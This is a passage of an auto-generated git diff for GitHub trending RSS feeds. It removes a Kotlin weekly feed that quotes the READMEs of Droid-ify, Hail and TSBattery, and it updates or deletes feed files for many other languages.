applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Files saved within folders entitled `/shared/commonMain/resources/bumble` are not subject to the Apache License, Version 2.0 and permission is not granted for the use of any files within these folders. </pre> - \ No newline at end of file diff --git a/kotlin/weekly/index.xml b/kotlin/weekly/index.xml deleted file mode 100644 index 50059f0e738..00000000000 --- a/kotlin/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Kotlin Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:58Z - Weekly Trending of Kotlin in GitHub - - - Droid-ify/client - 2023-10-29T01:55:58Z - tag:github.com,2023-10-29:/Droid-ify/client - - <p>F-Droid client with Material UI.</p><hr><div align="center"> <img width="" src="https://raw.githubusercontent.com/Droid-ify/client/main/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png" alt="Droid-ify" align="center"> <h1>Droid-ify</h1> <h3>A quick material F-Droid client.</h3> <p><a href="https://github.com/Iamlooker/Droid-ify/stargazers"><img src="https://img.shields.io/github/stars/Iamlooker/Droid-ify?color=%2364f573&amp;style=for-the-badge" alt="Github Stars"></a> <a href="https://github.com/Iamlooker/Droid-ify/raw/master/COPYING"><img src="https://img.shields.io/github/license/Iamlooker/Droid-ify?color=%2364f573&amp;style=for-the-badge" alt="Github License"></a> <a href="https://github.com/Iamlooker/Droid-ify/releases/"><img src="https://img.shields.io/github/downloads/Iamlooker/Droid-ify/total.svg?color=%23f5ad64&amp;style=for-the-badge" alt="Github Downloads"></a> <a href="https://github.com/Iamlooker/Droid-ify/releases/latest"><img src="https://img.shields.io/github/v/release/Iamlooker/Droid-ify?display_name=tag&amp;color=%23f5ad64&amp;style=for-the-badge" alt="Github Latest"></a> <a href="https://f-droid.org/packages/com.looker.droidify"><img src="https://img.shields.io/f-droid/v/com.looker.droidify?color=%23f5ad64&amp;style=for-the-badge" alt="FDroid Latest"></a></p> <div align="left"> <h2>Features</h2> <ul> <li>Material &amp; Clean design</li> <li>Fast repository syncing</li> <li>Smooth user experience</li> <li>Feature-rich</li> </ul> <h2>Screenshots</h2> <p><img src="https://raw.githubusercontent.com/Droid-ify/client/main/metadata/en-US/images/phoneScreenshots/2.png" width="48%"><img src="https://raw.githubusercontent.com/Droid-ify/client/main/metadata/en-US/images/phoneScreenshots/1.png" width="48%"><img src="https://raw.githubusercontent.com/Droid-ify/client/main/metadata/en-US/images/phoneScreenshots/3.png" width="48%"><img src="https://raw.githubusercontent.com/Droid-ify/client/main/metadata/en-US/images/phoneScreenshots/4.png" width="48%"></p> <h2>Building and Installing</h2> <ol> <li> <p><strong>Install Android Studio</strong>:</p> <ul> <li>Download and install <a href="https://developer.android.com/studio">Android Studio</a> on your computer if you haven't already.</li> </ul> </li> <li> <p><strong>Clone the Repository</strong>:</p> <ul> <li>Open Android Studio and select "Project from Version Control."</li> <li>Paste the link to this repository to clone it to your local machine.</li> </ul> </li> <li> <p><strong>Build the APK</strong>:</p> <ul> <li>In Android Studio, navigate to <code>Build &gt; APK</code>.</li> <li>Select "Create New Keystore" and enter the required information, including a password.</li> <li>Wait for the build process to finish.</li> </ul> </li> </ol> <h2>TODO</h2> <ul> <li><input type="checkbox" disabled> Add support for <code>index-v2</code></li> <li><input type="checkbox" disabled> Add detekt code-analysis</li> <li><input type="checkbox" disabled> Add GitHub Repo feature</li> </ul> <h2>Contribution</h2> <ul> <li>Pick any issue you would like to resolve</li> <li>Fork the project</li> <li>Open a Pull Request</li> <li>Your PR will undergo review</li> </ul> <h2>Translations</h2> <p><a href="https://hosted.weblate.org/engage/droidify/?utm_source=widget"><img src="https://hosted.weblate.org/widgets/droidify/-/horizontal-auto.svg?sanitize=true" alt="Translation status"></a></p> <h2>License</h2> <pre><code>Droid-ify Copyright (C) 2023 LooKeR This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see &lt;http://www.gnu.org/licenses/&gt;. </code></pre> </div> </div> - - - aistra0528/Hail - 2023-10-29T01:55:58Z - tag:github.com,2023-10-29:/aistra0528/Hail - - <p>冻结 Android 应用 Freeze Android apps</p><hr><p>简体中文 | <a href="https://raw.githubusercontent.com/aistra0528/Hail/master/README_EN.md">English</a></p> <h1>雹 Hail</h1> <p><a href="https://github.com/aistra0528/Hail/actions"><img src="https://github.com/aistra0528/Hail/workflows/Android%20CI/badge.svg?sanitize=true" alt="Android CI status"></a> <a href="https://hosted.weblate.org/engage/hail/"><img src="https://hosted.weblate.org/widgets/hail/-/svg-badge.svg?sanitize=true" alt="翻译状态"></a> <a href="https://github.com/aistra0528/Hail/releases"><img src="https://img.shields.io/github/downloads/aistra0528/Hail/total.svg?sanitize=true" alt="Downloads"></a> <a href="https://raw.githubusercontent.com/aistra0528/Hail/master/LICENSE"><img src="https://img.shields.io/github/license/aistra0528/Hail" alt="License"></a></p> <p>雹是一款用于冻结 Android 应用的自由软件。<a href="https://github.com/aistra0528/Hail/releases">GitHub Releases</a></p> <p><a href="https://f-droid.org/packages/com.aistra.hail/"><img src="https://fdroid.gitlab.io/artwork/badge/get-it-on.png" alt="Get it on F-Droid" height="80"></a></p> <p><img src="https://raw.githubusercontent.com/aistra0528/Hail/master/fastlane/metadata/android/zh-CN/images/phoneScreenshots/1.png" width="32%"> <img src="https://raw.githubusercontent.com/aistra0528/Hail/master/fastlane/metadata/android/zh-CN/images/phoneScreenshots/2.png" width="32%"> <img src="https://raw.githubusercontent.com/aistra0528/Hail/master/fastlane/metadata/android/zh-CN/images/phoneScreenshots/3.png" width="32%"></p> <h2>冻结</h2> <p>冻结<code>freeze</code>是一个营销用语,用于描述使<strong>应用在用户不需要时不可运行</strong>的行为,以此控制设备使用、减少内存占用和节省电量。用户可在需要时解冻<code>unfreeze</code>应用。</p> <p>在一般情况下,“冻结”是指停用,此外雹也可以通过隐藏和暂停来“冻结”应用。</p> <h3>停用</h3> <p>被停用<code>disable</code>的应用不会出现在启动器中。在已安装应用列表中会显示已停用<code>disabled</code>状态。启用<code>enable</code>应用即可恢复。</p> <h3>隐藏</h3> <p>被隐藏<code>hide</code>的应用不会出现在启动器和已安装应用列表中。取消隐藏<code>unhide</code>应用即可恢复。</p> <blockquote> <p>在这种状态下,软件包几乎处于卸载状态,无法使用,但并没有删除数据或实际的软件包文件。</p> </blockquote> <h3>暂停 (Android 7.0+)</h3> <p>被暂停<code>suspend</code>的应用在启动器中会显示为灰度图标。取消暂停<code>unsuspend</code>应用即可恢复。</p> <blockquote> <p>在这种状态下,应用程序的通知将被隐藏,任何启动活动将被停止,不能弹出提示、对话框或播放音频。 当用户试图启动一个暂停的应用程序时,系统将向用户显示一个对话框,告知他们在暂停状态下不能使用这个应用程序。</p> </blockquote> <h2>工作模式</h2> <p>雹支持以<code>设备所有者</code>、<code>Dhizuku</code>、<code>超级用户</code> (Root) 和<code>Shizuku</code> (含 Sui) 模式工作。</p> <p><strong>冻结的应用需要通过相同工作模式解冻。</strong></p> <ol> <li> <p>如果您的设备支持无线调试或已 root,推荐选择<code>Shizuku</code>。</p> </li> <li> <p>如果您的设备已 root,可选择<code>超级用户</code>。<strong>此模式速度相对较慢。</strong></p> </li> <li> <p>如果您的设备不支持无线调试且未 root,可选择<code>设备所有者</code>或<code>Dhizuku</code>。<strong>这些模式设置较为繁琐。</strong></p> </li> </ol> <h3>设备所有者 - 隐藏 / 暂停</h3> <p>此模式通过将雹设置为设备所有者 (Device Owner),调用:</p> <ul> <li> <p><code>DevicePolicyManager.setApplicationHidden</code>方法隐藏应用。</p> </li> <li> <p><code>DevicePolicyManager.setPackagesSuspended</code>方法暂停应用。</p> </li> </ul> <p><strong>设置为设备所有者的应用需要移除设备所有者后方可卸载。</strong></p> <h4>通过 adb 将雹设置为设备所有者</h4> <p><a href="https://developer.android.google.cn/studio/command-line/adb">Android 调试桥 (adb) 指南</a></p> <p><a href="https://developer.android.google.cn/studio/releases/platform-tools">下载 Android SDK 平台工具</a></p> <p>通过 adb 发出命令:</p> <pre><code class="language-shell">adb shell dpm set-device-owner com.aistra.hail/.receiver.DeviceAdminReceiver </code></pre> <p>设置成功后会输出以下信息:</p> <pre><code>Success: Device owner set to package com.aistra.hail Active admin set to component {com.aistra.hail/com.aistra.hail.receiver.DeviceAdminReceiver} </code></pre> <p>如输出其他信息,请使用搜索引擎自行查阅与解决。</p> <h4>移除雹的设备所有者</h4> <p>设置 &gt; 移除设备所有者</p> <h3>Dhizuku - 隐藏 / 暂停</h3> <p>此模式通过将 <a href="https://github.com/iamr0s/Dhizuku">Dhizuku</a> 设置为设备所有者 (Device Owner),调用:</p> <ul> <li> <p><code>DevicePolicyManager.setApplicationHidden</code>方法隐藏应用。</p> </li> <li> <p><code>DevicePolicyManager.setPackagesSuspended</code>方法暂停应用。</p> </li> </ul> <h3>超级用户 - 停用 / 隐藏 / 暂停</h3> <p>此模式通过授予雹超级用户 (Superuser) 权限,执行:</p> <ul> <li> <p><code>pm disable</code>命令停用应用。</p> </li> <li> <p><code>pm hide</code>命令隐藏应用。</p> </li> <li> <p><code>pm suspend</code>命令暂停应用。</p> </li> </ul> <h3>Shizuku - 停用 / 隐藏 / 暂停</h3> <p>此模式通过 <a href="https://github.com/RikkaApps/Shizuku">Shizuku</a> 调用非 SDK 接口:</p> <ul> <li> <p><code>IPackageManager.setApplicationEnabledSetting</code>方法停用应用。</p> </li> <li> <p><code>IPackageManager.setApplicationHiddenSettingAsUser</code>方法隐藏应用。 (需要 root)</p> </li> <li> <p><code>IPackageManager.setPackagesSuspendedAsUser</code>方法暂停应用。</p> </li> </ul> <h2>恢复</h2> <h3>通过 adb</h3> <p>替换 com.package.name 为目标应用的包名。</p> <pre><code class="language-shell"># 启用应用 adb shell pm enable com.package.name # 取消隐藏应用 (需要 root) adb shell su -c pm unhide com.package.name # 取消暂停应用 adb shell pm unsuspend com.package.name </code></pre> <h3>修改文件</h3> <p>访问<code>/data/system/users/0/package-restrictions.xml</code>,此文件存储了应用限制相关信息。您可修改、重命名或直接删除此文件。</p> <ul> <li> <p>启用应用:修改<code>enabled</code>属性为 2 (DISABLED) 或 3 (DISABLED_USER) 的值为 1 (ENABLED)</p> </li> <li> <p>取消隐藏应用:修改<code>hidden</code>属性为 true 的值为 false</p> </li> <li> <p>取消暂停应用:修改<code>suspended</code>属性为 true 的值为 false</p> </li> </ul> <h3>通过恢复模式清除数据 (wipe data)</h3> <p><strong>希望您能谨慎地选择冻结应用,以免陷入此窘境。</strong></p> <h2>API</h2> <pre><code class="language-shell">adb shell am start -a action -e name value </code></pre> <p><code>action</code>可为:</p> <ul> <li> <p><code>com.aistra.hail.action.LAUNCH</code>:解冻并启动目标应用。应用未冻结时会直接启动。<code>name="package"</code> <code>value="com.package.name"</code></p> </li> <li> <p><code>com.aistra.hail.action.FREEZE</code>:冻结目标应用。应用需处于首页。<code>name="package"</code> <code>value="com.package.name"</code></p> </li> <li> <p><code>com.aistra.hail.action.UNFREEZE</code>:解冻目标应用。<code>name="package"</code> <code>value="com.package.name"</code></p> </li> <li> <p><code>com.aistra.hail.action.FREEZE_TAG</code>:冻结目标标签中的全部非白名单应用。<code>name="tag"</code> <code>value="标签名"</code></p> </li> <li> <p><code>com.aistra.hail.action.UNFREEZE_TAG</code>:解冻目标标签中的全部应用。<code>name="tag"</code> <code>value="标签名"</code></p> </li> <li> <p><code>com.aistra.hail.action.FREEZE_ALL</code>:冻结首页全部应用。无需<code>extra</code>。</p> </li> <li> <p><code>com.aistra.hail.action.UNFREEZE_ALL</code>:解冻首页全部应用。无需<code>extra</code>。</p> </li> <li> <p><code>com.aistra.hail.action.FREEZE_NON_WHITELISTED</code>:冻结首页全部非白名单应用。无需<code>extra</code>。</p> </li> <li> <p><code>com.aistra.hail.action.LOCK</code>:锁定屏幕。无需<code>extra</code>。</p> </li> <li> <p><code>com.aistra.hail.action.LOCK_FREEZE</code>:冻结首页全部应用并锁定屏幕。无需<code>extra</code>。</p> </li> </ul> <h2>协助翻译</h2> <p>要将雹翻译成您的语言,或完善现有的翻译,请使用 <a href="https://hosted.weblate.org/engage/hail/">Weblate</a>。</p> <p><a href="https://hosted.weblate.org/engage/hail/"><img src="https://hosted.weblate.org/widgets/hail/-/multi-auto.svg?sanitize=true" alt="翻译状态"></a></p> <h2>许可证</h2> <pre><code>Hail - Freeze Android apps Copyright (C) 2021-2023 Aistra This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see &lt;https://www.gnu.org/licenses/&gt;. </code></pre> - - - fankes/TSBattery - 2023-10-29T01:55:58Z - tag:github.com,2023-10-29:/fankes/TSBattery - - <p>A new way to save your battery avoid cancer apps hacker it.</p><hr><h1>TSBattery</h1> <p><a href="https://github.com/fankes/TSBattery/raw/master/LICENSE"><img src="https://img.shields.io/github/license/fankes/TSBattery?color=blue" alt="GitHub license"></a> <a href="https://github.com/fankes/TSBattery/actions/workflows/commit_ci.yml"><img src="https://img.shields.io/github/actions/workflow/status/fankes/TSBattery/commit_ci.yml?label=CI%20builds" alt="GitHub CI"></a> <a href="https://github.com/fankes/TSBattery/releases"><img src="https://img.shields.io/github/v/release/fankes/TSBattery?display_name=release&amp;logo=github&amp;color=green" alt="GitHub release"></a> <img src="https://img.shields.io/github/downloads/fankes/TSBattery/total?label=downloads" alt="GitHub all releases"> <img src="https://img.shields.io/github/downloads/Xposed-Modules-Repo/com.fankes.tsbattery/total?label=LSPosed%20downloads&amp;labelColor=F48FB1" alt="GitHub all releases"></p> <p><a href="https://t.me/TSBattery_CI"><img src="https://img.shields.io/badge/CI%20builds-Telegram-blue.svg?logo=telegram" alt="Telegram CI"></a> <a href="https://t.me/XiaofangInternet"><img src="https://img.shields.io/badge/discussion-Telegram-blue.svg?logo=telegram" alt="Telegram"></a> <a href="https://qm.qq.com/cgi-bin/qm/qr?k=dp2h5YhWiga9WWb_Oh7kSHmx01X8I8ii&amp;jump_from=webapi&amp;authKey=Za5CaFP0lk7+Zgsk2KpoBD7sSaYbeXbsDgFjiWelOeH4VSionpxFJ7V0qQBSqvFM"><img src="https://img.shields.io/badge/discussion-QQ-blue.svg?logo=tencent-qq&amp;logoColor=red" alt="QQ"></a> <a href="https://pd.qq.com/s/44gcy28h"><img src="https://img.shields.io/badge/discussion-QQ%20%E9%A2%91%E9%81%93-blue.svg?logo=tencent-qq&amp;logoColor=red" alt="QQ 频道"></a></p> <p><img src="https://github.com/fankes/TSBattery/raw/master/img-src/banner.png?raw=true" alt="Banner"></p> <p>A new way to save your battery avoid cancer apps hacker it.</p> <p>TSBattery 是一个旨在使 QQ、TIM、微信 变得更省电的开源 Xposed 模块。</p> <h2>For Non-Chinese Users</h2> <p>This Xposed Module is for use by specific apps for users in mainland China, you should not need it.</p> <h2>适配说明</h2> <ul> <li> <p>解锁 BootLoader 并安装 <strong>KernelSU</strong>、<strong>Magisk</strong> 的设备建议使用 <a href="https://github.com/LSPosed/LSPosed">LSPosed</a></p> </li> <li> <p><strong>太极 (无极)</strong> 支持性不是很好,建议使用 <a href="https://github.com/LSPosed/LSPatch">LSPatch</a></p> </li> <li> <p>支持一些第三方 Xposed 框架,但是不保证其稳定性</p> </li> <li> <p>支持一些第三方免 Root 框架例如<strong>应用转生</strong>、<strong>SandVXposed</strong>,但是不推荐使用,可能会造成封号风险</p> </li> <li> <p>如果在微信设置界面右上角你无法找到 <strong>TSBattery</strong> 的图标,请尝试同时激活 <a href="https://github.com/Xposed-Modules-Repo/com.fkzhang.wechatxposed">WeXposed (微X模块)</a></p> </li> </ul> <h2>发行渠道</h2> <table> <thead> <tr> <th><img src="https://avatars.githubusercontent.com/in/15368?s=64&amp;v=4" width="30" height="30" alt="LOGO"></th> <th><a href="https://github.com/fankes/TSBattery/actions/workflows/commit_ci.yml">GitHub CI</a></th> <th>CI 自动构建 (测试版)</th> </tr> </thead> </table> <table> <thead> <tr> <th><img src="https://github.com/peter-iakovlev/Telegram/raw/public/Icon.png?raw=true" width="30" height="30" alt="LOGO"></th> <th><a href="https://t.me/TSBattery_CI">Telegram CI 频道</a></th> <th>CI 自动构建 (测试版)</th> </tr> </thead> </table> <table> <thead> <tr> <th><img src="https://avatars.githubusercontent.com/in/15368?s=64&amp;v=4" width="30" height="30" alt="LOGO"></th> <th><a href="https://github.com/fankes/TSBattery/releases">GitHub Releases</a></th> <th>正式版 (稳定版)</th> </tr> </thead> </table> <table> <thead> <tr> <th><img src="https://avatars.githubusercontent.com/u/78217009?s=200&amp;v=4?raw=true" width="30" height="30" alt="LOGO"></th> <th><a href="https://github.com/Xposed-Modules-Repo/com.fankes.tsbattery/releases">Xposed-Modules-Repo</a></th> <th>正式版 (稳定版)</th> </tr> </thead> </table> <table> <thead> <tr> <th><img src="https://cdn-icons-png.flaticon.com/128/1163/1163624.png" width="30" height="30" alt="LOGO"></th> <th><a href="https://fankes.lanzouy.com/b02zfz3sj">蓝奏云 <strong>(密码:tsbt)</strong></a></th> <th>正式版 (稳定版)</th> </tr> </thead> </table> <p>本模块发布地址仅限于上述所列出的地址,从其他非正规渠道下载到的版本或对您造成任何影响均与我们无关。</p> <h2>请勿用于非法用途</h2> <p>本模块完全开源免费,如果好用你可以打赏支持开发,但是请不要用于非法用途。</p> <h2>项目推广</h2> <p>如果你正在寻找一个可以自动管理 Gradle 项目依赖的 Gradle 插件,你可以了解一下 <a href="https://github.com/HighCapable/SweetDependency">SweetDependency</a> 项目。</p> <p>如果你正在寻找一个可以自动生成属性键值的 Gradle 插件,你可以了解一下 <a href="https://github.com/HighCapable/SweetProperty">SweetProperty</a> 项目。</p> <p>本项目同样使用了 <strong>SweetDependency</strong> 和 <strong>SweetProperty</strong>。</p> <h2>捐赠支持</h2> <p>工作不易,无意外情况此项目将继续维护下去,提供更多可能,欢迎打赏。</p> <img src="https://github.com/fankes/fankes/raw/main/img-src/payment_code.jpg?raw=true" width="500" alt="Payment Code"> <h2>Star History</h2> <p><img src="https://api.star-history.com/svg?repos=fankes/TSBattery&amp;type=Date" alt="Star History Chart"></p> <h2>许可证</h2> <ul> <li><a href="https://www.gnu.org/licenses/agpl-3.0.html">AGPL-3.0</a></li> </ul> <pre><code>Copyright (C) 2017-2023 Fankes Studio(qzmmcn@163.com) This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see &lt;https://www.gnu.org/licenses/&gt;. </code></pre> <p>Powered by <a href="https://github.com/HighCapable/YukiHookAPI">YukiHookAPI</a></p> <p>版权所有 © 2017-2023 Fankes Studio(<a href="mailto:qzmmcn@163.com">qzmmcn@163.com</a>)</p> - - \ No newline at end of file diff --git a/krl/daily/index.xml b/krl/daily/index.xml index 7907747c19e..276af520bd1 100644 --- a/krl/daily/index.xml +++ b/krl/daily/index.xml @@ -1,7 +1,7 @@ GitHub KRL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:33Z + 2023-10-30T01:30:49Z Daily Trending of KRL in GitHub \ No newline at end of file diff --git a/krl/weekly/index.xml b/krl/weekly/index.xml deleted file mode 100644 index e21a49b3245..00000000000 --- a/krl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub KRL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:53Z - Weekly Trending of KRL in GitHub - - \ No newline at end of file diff --git a/kusto/daily/index.xml b/kusto/daily/index.xml index 89167310fe2..45a328477c1 100644 --- a/kusto/daily/index.xml +++ b/kusto/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kusto Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:35Z + 2023-10-30T01:30:48Z Daily Trending of Kusto in GitHub \ No newline at end of file diff --git a/kusto/weekly/index.xml b/kusto/weekly/index.xml deleted file mode 100644 index 6863ec92309..00000000000 --- a/kusto/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Kusto Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:55Z - Weekly Trending of Kusto in GitHub - - \ No newline at end of file diff --git a/kvlang/daily/index.xml b/kvlang/daily/index.xml index 6d29fe75c93..0b6f0b187e4 100644 --- a/kvlang/daily/index.xml +++ b/kvlang/daily/index.xml @@ -1,7 +1,7 @@ GitHub kvlang Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:43Z + 2023-10-30T01:30:56Z Daily Trending of kvlang in GitHub \ No newline at end of file diff --git a/kvlang/weekly/index.xml b/kvlang/weekly/index.xml deleted file mode 100644 index 959adb9105c..00000000000 --- a/kvlang/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub kvlang Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:05Z - Weekly Trending of kvlang in GitHub - - \ No newline at end of file diff --git a/labview/daily/index.xml b/labview/daily/index.xml index 435019717f2..38514aa574b 100644 --- a/labview/daily/index.xml +++ b/labview/daily/index.xml @@ -1,7 +1,7 @@ GitHub LabVIEW Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:46Z + 2023-10-30T01:30:57Z Daily Trending of LabVIEW in GitHub \ No newline at end of file diff --git a/labview/weekly/index.xml b/labview/weekly/index.xml deleted file mode 100644 index cbc9f576b85..00000000000 --- a/labview/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LabVIEW Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:04Z - Weekly Trending of LabVIEW in GitHub - - \ No newline at end of file diff --git a/lark/daily/index.xml b/lark/daily/index.xml index d0e052c5b38..15825ee1e28 100644 --- a/lark/daily/index.xml +++ b/lark/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lark Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:44Z + 2023-10-30T01:30:58Z Daily Trending of Lark in GitHub \ No newline at end of file diff --git a/lark/weekly/index.xml b/lark/weekly/index.xml deleted file mode 100644 index 4ddfa325410..00000000000 --- a/lark/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Lark Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:04Z - Weekly Trending of Lark in GitHub - - \ No newline at end of file diff --git a/lasso/daily/index.xml b/lasso/daily/index.xml index 57a28a4edde..d9d31874279 100644 --- a/lasso/daily/index.xml +++ b/lasso/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lasso Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:45Z + 2023-10-30T01:30:58Z Daily Trending of Lasso in GitHub \ No newline at end of file diff --git a/lasso/weekly/index.xml b/lasso/weekly/index.xml deleted file mode 100644 index 0d9b30f65f1..00000000000 --- a/lasso/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Lasso Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:06Z - Weekly Trending of Lasso in GitHub - - \ No newline at end of file diff --git a/latte/daily/index.xml b/latte/daily/index.xml index b606779c106..5727044f63a 100644 --- a/latte/daily/index.xml +++ b/latte/daily/index.xml @@ -1,7 +1,7 @@ GitHub Latte Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:50Z + 2023-10-30T01:30:59Z Daily Trending of Latte in GitHub \ No newline at end of file diff --git a/latte/weekly/index.xml b/latte/weekly/index.xml deleted file mode 100644 index 49b4daeffbf..00000000000 --- a/latte/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Latte Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:07Z - Weekly Trending of Latte in GitHub - - \ No newline at end of file diff --git a/lean/daily/index.xml b/lean/daily/index.xml index 756505f6109..3f8eb7e0771 100644 --- a/lean/daily/index.xml +++ b/lean/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lean Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:48Z + 2023-10-30T01:31:00Z Daily Trending of Lean in GitHub \ No newline at end of file diff --git a/lean/weekly/index.xml b/lean/weekly/index.xml deleted file mode 100644 index a6b5063393c..00000000000 --- a/lean/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Lean Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:08Z - Weekly Trending of Lean in GitHub - - \ No newline at end of file diff --git a/less/daily/index.xml b/less/daily/index.xml index 90f6bf8f056..a06747e2f05 100644 --- a/less/daily/index.xml +++ b/less/daily/index.xml @@ -1,7 +1,7 @@ GitHub Less Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:49Z + 2023-10-30T01:31:01Z Daily Trending of Less in GitHub \ No newline at end of file diff --git a/less/weekly/index.xml b/less/weekly/index.xml deleted file mode 100644 index 2a00dd9ef41..00000000000 --- a/less/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Less Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:10Z - Weekly Trending of Less in GitHub - - \ No newline at end of file diff --git a/lex/daily/index.xml b/lex/daily/index.xml index 0e1e6afb725..b140ecd4425 100644 --- a/lex/daily/index.xml +++ b/lex/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:47Z + 2023-10-30T01:31:02Z Daily Trending of Lex in GitHub \ No newline at end of file diff --git a/lex/weekly/index.xml b/lex/weekly/index.xml deleted file mode 100644 index 0438876b20d..00000000000 --- a/lex/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Lex Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:09Z - Weekly Trending of Lex in GitHub - - \ No newline at end of file diff --git a/lfe/daily/index.xml b/lfe/daily/index.xml index 24360f712cd..6b17dbeea8e 100644 --- a/lfe/daily/index.xml +++ b/lfe/daily/index.xml @@ -1,7 +1,7 @@ GitHub LFE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:52Z + 2023-10-30T01:31:03Z Daily Trending of LFE in GitHub \ No newline at end of file diff --git a/lfe/weekly/index.xml b/lfe/weekly/index.xml deleted file mode 100644 index 9884c8024d7..00000000000 --- a/lfe/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LFE Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:11Z - Weekly Trending of LFE in GitHub - - \ No newline at end of file diff --git a/ligolang/daily/index.xml b/ligolang/daily/index.xml index 52571af29ba..59f5e19b156 100644 --- a/ligolang/daily/index.xml +++ b/ligolang/daily/index.xml @@ -1,7 +1,7 @@ GitHub LigoLANG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:53Z + 2023-10-30T01:31:05Z Daily Trending of LigoLANG in GitHub \ No newline at end of file diff --git a/ligolang/weekly/index.xml b/ligolang/weekly/index.xml deleted file mode 100644 index f1a79c114b8..00000000000 --- a/ligolang/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LigoLANG Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:12Z - Weekly Trending of LigoLANG in GitHub - - \ No newline at end of file diff --git a/lilypond/daily/index.xml b/lilypond/daily/index.xml index 0aa1a03bb8f..90d23627d18 100644 --- a/lilypond/daily/index.xml +++ b/lilypond/daily/index.xml @@ -1,7 +1,7 @@ GitHub LilyPond Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:52Z + 2023-10-30T01:31:04Z Daily Trending of LilyPond in GitHub \ No newline at end of file diff --git a/lilypond/weekly/index.xml b/lilypond/weekly/index.xml deleted file mode 100644 index 80ffb4a9538..00000000000 --- a/lilypond/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub LilyPond Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:13Z - Weekly Trending of LilyPond in GitHub - - \ No newline at end of file diff --git a/limbo/daily/index.xml b/limbo/daily/index.xml index 6d064254c05..15a03610f33 100644 --- a/limbo/daily/index.xml +++ b/limbo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Limbo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:51Z + 2023-10-30T01:31:05Z Daily Trending of Limbo in GitHub \ No newline at end of file diff --git a/limbo/weekly/index.xml b/limbo/weekly/index.xml deleted file mode 100644 index 6b9dbc9dec9..00000000000 --- a/limbo/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Limbo Weekly Trending - 